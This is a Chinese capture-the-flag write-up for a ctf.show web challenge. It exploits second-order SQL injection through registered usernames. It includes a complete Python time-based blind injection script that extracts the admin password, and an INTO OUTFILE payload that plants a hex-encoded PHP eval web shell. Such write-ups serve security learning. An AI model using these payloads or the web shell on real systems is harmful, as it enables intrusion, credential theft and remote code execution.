>
>
萌新赛-假赛
yuchoxuuan
1。据说我的解法又是非预期。。。晕死了看来我真不适合做web。
一上来先看到代码,大意是登录之后如果你是admin,然后带一个符合正则表达式的参数c就ok了,
这个c好说,啥都不给他就中了,关键是怎么用admin
,然后我的思路就错了,我的重点放在了这一行
$name=$_SESSION['name'];
**$sql='select pass from user where name="'.$name.'"';**
echo $sql."<br />";
system('4rfvbgt56yhn.sh');
$query=mysqli_query($conn,$sql);
$result=mysqli_fetch_assoc($query);
明显利用用户名可以注入啊。然后去用户注册页和登录界面试了一下
发现啥都能注册,而且index啥都不检查就跑,然后我就在非预期的绝路上一骑绝尘了。
我的思路是酱紫的,把攻击载荷写在用户名里,拿去注册,然后去登录,然后登录成功了之后index就会用我(带负载的)用户名去执行sql,这就完成了一次注入了,可是因为无回显鸭,所以用时间盲住就好了,然后拿着注到的admin口令去登录就好了鸭
于是。。。
def post(url,params={},): return requests.post(url, data=params,timeout=(10,10)).text
url='https://87326b40-1fbe-4f25-841d-b27c6ea23a62.chall.ctf.show'
reg='/register.php'
log='/login.php'
def check(pl=''):
pl= 'admin" and if((%s),sleep(2),0) -- -'%pl
#print(pl)
inf={'name':pl,'pass':'d'}
post(url+reg,inf) #注册,不放在try里面,这样断网的时候就会出错强退了,省的浪费时间
try: # 因为时间盲住久了有时候会超时,反正超时也算成功吧
t0 = tm.now()
post(url+log,inf)
dt = tm.now() - t0
if dt.seconds >1 : return True
else:return False
except:
return True
#先跑一下长度, 因为我做过一次了知道是32位的,就设大一点节省时间了
pwsl=32
for i in range(pwsl,80):
pl = 'length(pass)=%d'%i
if check(pl):
pwsl = i
print("PWSL:",i)
break
pws='3e858ccd79287cfe8509f15a71b4c45' #作用是如果猜出来一部分然后断开了,可以接着猜。
alphabet = ['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~',]
for i in range(pwsl-len(pws)):
print('\n%-40s |%2d| '%(pws,i),end='')
for j in alphabet :
print(j,end='')
pl = 'pass like "%s%%"'%(pws+j)
if check(pl) :
pws+=j
break
print("\n\n"+'- '*30 )
print('PWS: ',pws)
print(""+'- '*30 )
然后就是漫长的等待了,看了大佬的wp,我都被我自己蠢哭了。。。
--解法2.
后来琢磨过来不对劲,已经可以注入了为啥不试试文件读写所以试了一下
name=" union select unhex('3c3f70687020406576616c28245f504f53545b2761275d293b3f3e') into outfile '/var/www/html/a.php' -- -
其中 /var/www/html/ 是Nginx常用的部署地址,反正已经蠢到这个份上了,盲猜一下也不丢人。
然后直接上一键看看
一排文件挨个点
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论